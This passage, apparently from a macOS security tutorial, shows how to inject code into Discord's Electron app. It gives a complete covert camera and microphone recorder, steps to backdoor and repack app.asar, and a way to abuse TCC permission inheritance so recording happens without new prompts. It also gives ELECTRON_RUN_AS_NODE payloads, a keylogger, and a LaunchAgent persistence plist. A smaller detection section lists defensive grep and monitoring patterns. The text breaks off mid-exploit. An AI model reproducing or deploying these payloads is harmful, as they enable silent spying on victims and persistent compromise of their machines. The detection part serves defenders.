<span class="c"># Verify extraction</span>
<span class="nb">ls</span> <span class="nt">-lR</span> unpack/
</code></pre></div></div>

<h3 id="identifying-main-entry-point">Identifying Main Entry Point</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check package.json for main file</span>
<span class="nb">cat </span>unpack/package.json

<span class="c"># Example output:</span>
<span class="c"># {</span>
<span class="c">#   "name": "discord",</span>
<span class="c">#   "main": "app_bootstrap/index.js",</span>
<span class="c">#   ...</span>
<span class="c"># }</span>
</code></pre></div></div>

<h3 id="video-capture-payload">Video Capture Payload</h3>

<p><strong>videocapture.m:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;AVFoundation/AVFoundation.h&gt;
</span>
<span class="err">@</span><span class="n">interface</span> <span class="n">VideoSnap</span> <span class="o">:</span> <span class="n">NSObject</span> <span class="o">&lt;</span><span class="n">AVCaptureFileOutputRecordingDelegate</span><span class="o">&gt;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureMovieFileOutput</span> <span class="o">*</span><span class="n">videoFileOutput</span><span class="p">;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureSession</span> <span class="o">*</span><span class="n">session</span><span class="p">;</span>
<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span><span class="p">;</span>
<span class="err">@</span><span class="n">end</span>

<span class="err">@</span><span class="n">implementation</span> <span class="n">VideoSnap</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span> <span class="p">{</span>
    <span class="c1">// Grab video and audio devices</span>
    <span class="n">AVCaptureDevice</span> <span class="o">*</span><span class="n">videoDevice</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDevice</span> <span class="n">defaultDeviceWithMediaType</span><span class="o">:</span><span class="n">AVMediaTypeVideo</span><span class="p">];</span>
    <span class="n">AVCaptureDevice</span> <span class="o">*</span><span class="n">audioDevice</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDevice</span> <span class="n">defaultDeviceWithMediaType</span><span class="o">:</span><span class="n">AVMediaTypeAudio</span><span class="p">];</span>

    <span class="c1">// Init session</span>
    <span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureSession</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Init inputs</span>
    <span class="n">AVCaptureDeviceInput</span> <span class="o">*</span><span class="n">videoInput</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDeviceInput</span> <span class="n">deviceInputWithDevice</span><span class="o">:</span><span class="n">videoDevice</span> <span class="n">error</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="n">AVCaptureDeviceInput</span> <span class="o">*</span><span class="n">audioInput</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDeviceInput</span> <span class="n">deviceInputWithDevice</span><span class="o">:</span><span class="n">audioDevice</span> <span class="n">error</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>

    <span class="c1">// Init output</span>
    <span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureMovieFileOutput</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Add to session</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addInput</span><span class="o">:</span><span class="n">audioInput</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addInput</span><span class="o">:</span><span class="n">videoInput</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addOutput</span><span class="o">:</span><span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span><span class="p">];</span>

    <span class="c1">// Start recording</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">startRunning</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span> <span class="n">startRecordingToOutputFileURL</span><span class="o">:</span><span class="p">[</span><span class="n">NSURL</span> <span class="n">fileURLWithPath</span><span class="o">:</span><span class="err">@</span><span class="s">"/tmp/spycam.mov"</span><span class="p">]</span>
                                      <span class="nl">recordingDelegate:</span><span class="n">self</span><span class="p">];</span>

    <span class="c1">// Stop after 15 seconds</span>
    <span class="p">[</span><span class="n">NSTimer</span> <span class="n">scheduledTimerWithTimeInterval</span><span class="o">:</span><span class="mi">15</span> <span class="n">target</span><span class="o">:</span><span class="n">self</span> <span class="n">selector</span><span class="o">:</span><span class="err">@</span><span class="n">selector</span><span class="p">(</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">)</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span> <span class="n">repeats</span><span class="o">:</span><span class="n">NO</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">sigNum</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span> <span class="n">stopRecording</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">captureOutput</span><span class="o">:</span><span class="p">(</span><span class="n">AVCaptureFileOutput</span> <span class="o">*</span><span class="p">)</span><span class="n">captureOutput</span>
<span class="n">didFinishRecordingToOutputFileAtURL</span><span class="o">:</span><span class="p">(</span><span class="n">NSURL</span> <span class="o">*</span><span class="p">)</span><span class="n">outputFileURL</span>
<span class="n">fromConnections</span><span class="o">:</span><span class="p">(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="n">connections</span>
<span class="n">error</span><span class="o">:</span><span class="p">(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">)</span><span class="n">error</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">stopRunning</span><span class="p">];</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="err">@</span><span class="n">end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="n">VideoSnap</span><span class="o">*</span> <span class="n">vs</span> <span class="o">=</span> <span class="p">[[</span><span class="n">VideoSnap</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>
    <span class="p">[</span><span class="n">vs</span> <span class="n">record</span><span class="p">];</span>
    <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="n">currentRunLoop</span><span class="p">]</span> <span class="n">run</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Compile:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> AVFoundation videocapture.m <span class="nt">-o</span> videocapture
</code></pre></div></div>

<h3 id="injecting-into-source-code">Injecting Into Source Code</h3>

<p><strong>Edit unpack/app_bootstrap/index.js:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">"</span><span class="s2">use strict</span><span class="dl">"</span><span class="p">;</span>

<span class="c1">// INJECTED CODE - Add at beginning</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">child_process</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">/Users/user/videocapture</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// END INJECTION</span>

<span class="kd">const</span> <span class="p">{</span>
  <span class="nx">app</span>
<span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">// ... rest of original code</span>
</code></pre></div></div>

<h3 id="repacking-and-deployment">Repacking and Deployment</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Backup original</span>
<span class="nb">cp</span> /Applications/Discord.app/Contents/Resources/app.asar app.asar.backup

<span class="c"># Repack modified source</span>
npx asar pack unpack app.asar

<span class="c"># Replace original</span>
<span class="nb">cp </span>app.asar /Applications/Discord.app/Contents/Resources/app.asar

<span class="c"># Launch application</span>
open /Applications/Discord.app

<span class="c"># Verify recording</span>
<span class="nb">ls</span> <span class="nt">-l</span> /tmp/spycam.mov
</code></pre></div></div>

<h3 id="alternative-unpacked-source">Alternative: Unpacked Source</h3>

<p>If app doesn’t use .asar:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Source files located directly in Resources/</span>
<span class="nb">ls</span> /Applications/SomeApp.app/Contents/Resources/app/

<span class="c"># Edit main file directly</span>
nano /Applications/SomeApp.app/Contents/Resources/app/main.js

<span class="c"># Add injection code at top of file</span>
</code></pre></div></div>

<hr />

<h2 id="tcc-bypass-techniques">TCC Bypass Techniques</h2>

<h3 id="understanding-tcc-inheritance">Understanding TCC Inheritance</h3>

<p><strong>Key Principle:</strong> Child processes inherit parent’s TCC permissions</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Discord (has camera/mic access)
  └── spawned process (inherits access)
        └── audiocapture binary (records via inheritance)
</code></pre></div></div>

<p><strong>Why User Sees Harmless Prompt:</strong></p>
<ul>
  <li>TCC prompt shows <strong>child binary name</strong> (e.g., “audiocapture”)</li>
  <li>User thinks: “Some helper tool needs mic access”</li>
  <li>Doesn’t realize it’s being exploited via Discord</li>
</ul>

<h3 id="sandbox-profile-inheritance">Sandbox Profile Inheritance</h3>

<p><strong>From Terminal:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Bad: Inherits Terminal's sandbox</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord
<span class="c"># Prompt: "Terminal would like to access the microphone"</span>
</code></pre></div></div>

<p><strong>From LaunchD:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Good: Uses Discord's sandbox</span>
launchctl load launchdiscord.plist
<span class="c"># Prompt: "Discord would like to access the microphone"</span>

</code></pre></div></div>

<h3 id="complete-tcc-bypass-flow">Complete TCC Bypass Flow</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. User launches Discord (first time)
   └── Gatekeeper performs full signature check
   └── User grants camera/mic permissions to Discord

2. Attacker modifies app.asar
   └── Injects spawn() call to recording binary

3. User launches Discord (subsequent times)
   └── AMFI only checks executable code (passes)
   └── Modified JavaScript executes
   └── Spawns recording binary
   └── Binary inherits Discord's TCC permissions
   └── Records audio/video without new prompts
</code></pre></div></div>

<h3 id="tcc-database-inspection">TCC Database Inspection</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># View TCC database</span>
<span class="nb">sudo </span>sqlite3 /Library/Application<span class="se">\ </span>Support/com.apple.TCC/TCC.db <span class="s2">"SELECT * FROM access WHERE service='kTCCServiceMicrophone';"</span>

<span class="c"># Reset TCC for Discord</span>
tccutil reset Microphone com.hnc.Discord
tccutil reset Camera com.hnc.Discord
</code></pre></div></div>

<h2 id="attack-surface-overview">Attack Surface Overview</h2>

<p>Electron applications expose multiple attack vectors for code injection and privilege abuse:</p>

<table>
  <thead>
    <tr>
      <th>Attack Vector</th>
      <th>Prerequisites</th>
      <th>Detection Difficulty</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Environment Variable Injection</td>
      <td><code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE</code> not disabled</td>
      <td>Low</td>
      <td>Full Node.js REPL access</td>
    </tr>
    <tr>
      <td>Debug Port Injection</td>
      <td><code class="language-plaintext highlighter-rouge">--inspect</code> flag available</td>
      <td>Medium</td>
      <td>Remote code execution via WebSocket</td>
    </tr>
    <tr>
      <td>Source Code Modification</td>
      <td>Write access to app.asar or Resources/</td>
      <td>Medium-High</td>
      <td>Persistent code execution</td>
    </tr>
    <tr>
      <td>LaunchAgent Abuse</td>
      <td>User-level file write</td>
      <td>Low</td>
      <td>TCC bypass via process inheritance</td>
    </tr>
    <tr>
      <td>Fuse Bypass</td>
      <td>Older Electron versions</td>
      <td>Medium</td>
      <td>All injection methods enabled</td>
    </tr>
    <tr>
      <td>TCC Inheritance Abuse</td>
      <td>Parent app has TCC permissions</td>
      <td>Very High</td>
      <td>Silent camera/mic access</td>
    </tr>
    <tr>
      <td>ASAR Integrity Bypass</td>
      <td>No runtime hash verification</td>
      <td>High</td>
      <td>Undetected code modification</td>
    </tr>
  </tbody>
</table>

<h3 id="vulnerability-conditions-table-1">Vulnerability Conditions Table</h3>

<table>
  <thead>
    <tr>
      <th>Condition</th>
      <th>Attack Type</th>
      <th>Exploitable When</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE</code> enabled</td>
      <td>Environment injection</td>
      <td>Fuses not configured or old Electron</td>
      <td>Full Node.js access with app’s privileges</td>
    </tr>
    <tr>
      <td>Debug flags accepted</td>
      <td>Debug port injection</td>
      <td><code class="language-plaintext highlighter-rouge">--inspect</code> or <code class="language-plaintext highlighter-rouge">--remote-debugging-port</code> works</td>
      <td>Remote code execution</td>
    </tr>
    <tr>
      <td>app.asar writable</td>
      <td>Source modification</td>
      <td>User has write permissions after first launch</td>
      <td>Persistent backdoor in JavaScript code</td>
    </tr>
    <tr>
      <td>No integrity checks</td>
      <td>ASAR tampering</td>
      <td>Runtime doesn’t verify SHA-256/512 hash</td>
      <td>Undetected malicious code injection</td>
    </tr>
    <tr>
      <td>TCC permissions granted</td>
      <td>Permission inheritance</td>
      <td>Child processes inherit parent TCC</td>
      <td>Silent camera/mic/contacts access</td>
    </tr>
    <tr>
      <td>LaunchAgent directory writable</td>
      <td>Persistence</td>
      <td><code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents/</code> accessible</td>
      <td>Execution on login/load</td>
    </tr>
    <tr>
      <td>Unpacked source files</td>
      <td>Direct file modification</td>
      <td>No .asar archive used</td>
      <td>Edit .js files directly</td>
    </tr>
    <tr>
      <td>Gatekeeper runs once</td>
      <td>Post-launch modification</td>
      <td>After first signature check</td>
      <td>Non-executable code changes allowed</td>
    </tr>
    <tr>
      <td>Hardened runtime enabled</td>
      <td>Traditional injection blocked</td>
      <td>Prevents dylib injection</td>
      <td>Forces Electron-specific techniques</td>
    </tr>
  </tbody>
</table>

<h2 id="detection-methods-1">Detection Methods</h2>

<h4 id="1-static-analysis---application-inspection">1. Static Analysis - Application Inspection</h4>

<p><strong>Check Fuse Configuration:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Dump fuses from binary</span>
strings /Applications/Discord.app/Contents/MacOS/Discord | <span class="nb">grep</span> <span class="nt">-A5</span> <span class="nt">-B5</span> <span class="s2">"dL7pKGdnNz"</span>

<span class="c"># Check for RunAsNode fuse (should be disabled)</span>
<span class="c"># Byte pattern: 0x30 (disabled) or 0x31 (enabled)</span>

<span class="c"># Alternative: Check with electron-fuses tool</span>
npm <span class="nb">install</span> <span class="nt">-g</span> @electron/fuses
npx electron-fuses <span class="nb">read</span> /Applications/Discord.app/Contents/MacOS/Discord
</code></pre></div></div>

<p><strong>Verify ASAR Integrity:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check if Info.plist contains integrity hash</span>
/usr/libexec/PlistBuddy <span class="nt">-c</span> <span class="s2">"Print :ElectronAsarIntegrity"</span> <span class="se">\</span>
  /Applications/Discord.app/Contents/Info.plist

<span class="c"># Calculate actual hash</span>
shasum <span class="nt">-a</span> 256 /Applications/Discord.app/Contents/Resources/app.asar

<span class="c"># Compare with expected</span>
</code></pre></div></div>

<p><strong>Inspect Launch Constraints:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check for debug-related launch arguments</span>
ps aux | <span class="nb">grep</span> <span class="nt">-i</span> electron | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'(inspect|remote-debugging)'</span>

<span class="c"># Review LaunchAgents for suspicious environment variables</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"ELECTRON_RUN_AS_NODE"</span> ~/Library/LaunchAgents/
</code></pre></div></div>

<p><strong>Code Review Indicators:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Extract and search for suspicious patterns</span>
npx asar extract app.asar extracted/

<span class="c"># Search for spawn/exec calls</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"spawn</span><span class="se">\|</span><span class="s2">exec</span><span class="se">\|</span><span class="s2">eval"</span> extracted/ <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>

<span class="c"># Check for external script loading</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"require.*http</span><span class="se">\|</span><span class="s2">fetch.*</span><span class="se">\.</span><span class="s2">js"</span> extracted/ <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>
</code></pre></div></div>

<h4 id="2-dynamic-analysis---runtime-monitoring">2. Dynamic Analysis - Runtime Monitoring</h4>

<p><strong>Monitor Process Creation:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Use sudo execsnoop to watch child processes</span>
<span class="nb">sudo </span>execsnoop <span class="nt">-n</span> Discord

<span class="c"># Output shows spawned binaries:</span>
<span class="c"># PCOMM: Discord</span>
<span class="c"># PID: 1234 PPID: 1 RET: 0  ARGS: /Users/user/audiocapture</span>

<span class="c"># fswatch to detect asar modifications</span>
fswatch <span class="nt">-0</span> /Applications/Discord.app/Contents/Resources/app.asar | <span class="se">\</span>
  xargs <span class="nt">-0</span> <span class="nt">-n</span> 1 <span class="nt">-I</span> <span class="o">{}</span> <span class="nb">echo</span> <span class="s2">"ASAR modified: {}"</span>
</code></pre></div></div>

<p><strong>Network Connection Monitoring:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Detect debug port listeners</span>
lsof <span class="nt">-iTCP</span> <span class="nt">-sTCP</span>:LISTEN | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'(9229|9230)'</span>

<span class="c"># Output:</span>
<span class="c"># Discord  1234 user  10u  IPv4 0x... TCP localhost:9229 (LISTEN)</span>

<span class="c"># Monitor WebSocket connections to debug port</span>
tcpdump <span class="nt">-i</span> lo0 <span class="nt">-A</span> <span class="s1">'tcp port 9229'</span>
</code></pre></div></div>

<p><strong>TCC Database Monitoring:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Watch for TCC changes</span>
<span class="nb">sudo </span>fs_usage <span class="nt">-w</span> <span class="nt">-f</span> filesys | <span class="nb">grep </span>TCC.db

<span class="c"># Query for unusual child process permissions</span>
<span class="nb">sudo </span>sqlite3 /Library/Application<span class="se">\ </span>Support/com.apple.TCC/TCC.db <span class="se">\</span>
  <span class="s2">"SELECT service, client, auth_value FROM access WHERE client LIKE '%audiocapture%';"</span>
</code></pre></div></div>

<p><strong>LaunchAgent Monitoring:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Monitor LaunchAgent directory</span>
fswatch ~/Library/LaunchAgents/ | <span class="k">while </span><span class="nb">read </span>file<span class="p">;</span> <span class="k">do
    </span><span class="nb">echo</span> <span class="s2">"LaunchAgent modified: </span><span class="nv">$file</span><span class="s2">"</span>
    <span class="nb">grep</span> <span class="nt">-l</span> <span class="s2">"ELECTRON_RUN_AS_NODE"</span> <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"ALERT: Electron injection detected"</span>
<span class="k">done</span>
</code></pre></div></div>

<h4 id="3-code-review-detection-1">3. Code Review Detection</h4>

<p><strong>JavaScript Injection Patterns:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Suspicious patterns in main process code:</span>

<span class="c1">// 1. Dynamic require with user input</span>
<span class="kd">const</span> <span class="nx">module</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="nx">userInput</span><span class="p">);</span>  <span class="c1">// DANGEROUS</span>

<span class="c1">// 2. Eval/Function constructor</span>
<span class="nb">eval</span><span class="p">(</span><span class="nx">externalData</span><span class="p">);</span>
<span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="nx">externalData</span><span class="p">)();</span>

<span class="c1">// 3. Child process creation in main process</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span><span class="p">,</span> <span class="nx">exec</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="nx">untrustedPath</span><span class="p">);</span>  <span class="c1">// Check if path is validated</span>

<span class="c1">// 4. File writes to sensitive locations</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">writeFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">~/.zshrc</span><span class="dl">'</span><span class="p">,</span> <span class="nx">maliciousCode</span><span class="p">);</span>

<span class="c1">// 5. IPC without validation</span>
<span class="nx">ipcMain</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">arbitrary-command</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">,</span> <span class="nx">cmd</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">exec</span><span class="p">(</span><span class="nx">cmd</span><span class="p">);</span>  <span class="c1">// NO VALIDATION</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>LaunchAgent PLIST Indicators:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- Red flags in PLIST files: --&gt;</span>

<span class="c">&lt;!-- 1. ELECTRON_RUN_AS_NODE set --&gt;</span>
<span class="nt">&lt;key&gt;</span>EnvironmentVariables<span class="nt">&lt;/key&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>ELECTRON_RUN_AS_NODE<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>true<span class="nt">&lt;/string&gt;</span>  <span class="c">&lt;!-- SUSPICIOUS --&gt;</span>
<span class="nt">&lt;/dict&gt;</span>

<span class="c">&lt;!-- 2. -e flag with inline code --&gt;</span>
<span class="nt">&lt;array&gt;</span>
    <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>  <span class="c">&lt;!-- Inline evaluation --&gt;</span>
    <span class="nt">&lt;string&gt;</span>require("child_process").spawn(...)<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/array&gt;</span>

<span class="c">&lt;!-- 3. Debug flags --&gt;</span>
<span class="nt">&lt;array&gt;</span>
    <span class="nt">&lt;string&gt;</span>--inspect<span class="nt">&lt;/string&gt;</span>  <span class="c">&lt;!-- Debug mode enabled --&gt;</span>
    <span class="nt">&lt;string&gt;</span>--inspect-brk<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/array&gt;</span>
</code></pre></div></div>

<h2 id="exploitation-methods-1">Exploitation Methods</h2>

<h4 id="method-1-electron_run_as_node-repl-access">Method 1: ELECTRON_RUN_AS_NODE REPL Access</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target app doesn’t have fuses configured</li>
  <li>Need interactive Node.js access</li>
  <li>Testing TCC inheritance quickly</li>
</ul>

<p><strong>Execution:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Basic REPL access</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord

<span class="c"># Execute inline code</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord <span class="se">\</span>
  <span class="nt">-e</span> <span class="s2">"console.log(require('os').userInfo())"</span>

<span class="c"># Spawn child with inherited TCC</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord <span class="se">\</span>
  <span class="nt">-e</span> <span class="s2">"require('child_process').spawn('/Users/user/payload')"</span>
</code></pre></div></div>

<p><strong>Advanced Payload - Keylogger:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// keylogger.js - Run via ELECTRON_RUN_AS_NODE</span>
<span class="kd">const</span> <span class="nx">ioHook</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">iohook</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">logFile</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/tmp/.keylog</span><span class="dl">'</span><span class="p">;</span>

<span class="nx">ioHook</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">keypress</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="k">new</span> <span class="nb">Date</span><span class="p">().</span><span class="nx">toISOString</span><span class="p">()}</span><span class="s2">: </span><span class="p">${</span><span class="nx">event</span><span class="p">.</span><span class="nx">rawcode</span><span class="p">}</span><span class="s2">\n`</span><span class="p">;</span>
    <span class="nx">fs</span><span class="p">.</span><span class="nx">appendFileSync</span><span class="p">(</span><span class="nx">logFile</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">ioHook</span><span class="p">.</span><span class="nx">start</span><span class="p">();</span>
</code></pre></div></div>

<p><strong>Execution:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord keylogger.js
</code></pre></div></div>

<h4 id="method-2-debug-port-remote-code-execution">Method 2: Debug Port Remote Code Execution</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target accepts <code class="language-plaintext highlighter-rouge">--inspect</code> flag</li>
  <li>Remote access preferred over local REPL</li>
  <li>Multi-step exploitation needed</li>
</ul>

<p><strong>Start Debug Session:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Launch with debug port</span>
/Applications/Discord.app/Contents/MacOS/Discord <span class="nt">--inspect</span><span class="o">=</span>9229

<span class="c"># Via LaunchAgent for persistence</span>
<span class="nb">cat</span> <span class="o">&gt;</span> ~/Library/LaunchAgents/com.app.debug.plist <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
    &lt;key&gt;Label&lt;/key&gt;
    &lt;string&gt;com.app.debug&lt;/string&gt;
    &lt;key&gt;ProgramArguments&lt;/key&gt;
    &lt;array&gt;
        &lt;string&gt;/Applications/Discord.app/Contents/MacOS/Discord&lt;/string&gt;
        &lt;string&gt;--inspect=9229&lt;/string&gt;
    &lt;/array&gt;
    &lt;key&gt;RunAtLoad&lt;/key&gt;
    &lt;true/&gt;
&lt;/dict&gt;
&lt;/plist&gt;
</span><span class="no">EOF

</span>launchctl load ~/Library/LaunchAgents/com.app.debug.plist
</code></pre></div></div>

<p><strong>WebSocket Exploitation:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// exploit-debug.js</span>
<span class="kd">const</span> <span class="nx">WebSocket</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ws</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Get debug UUID</span>
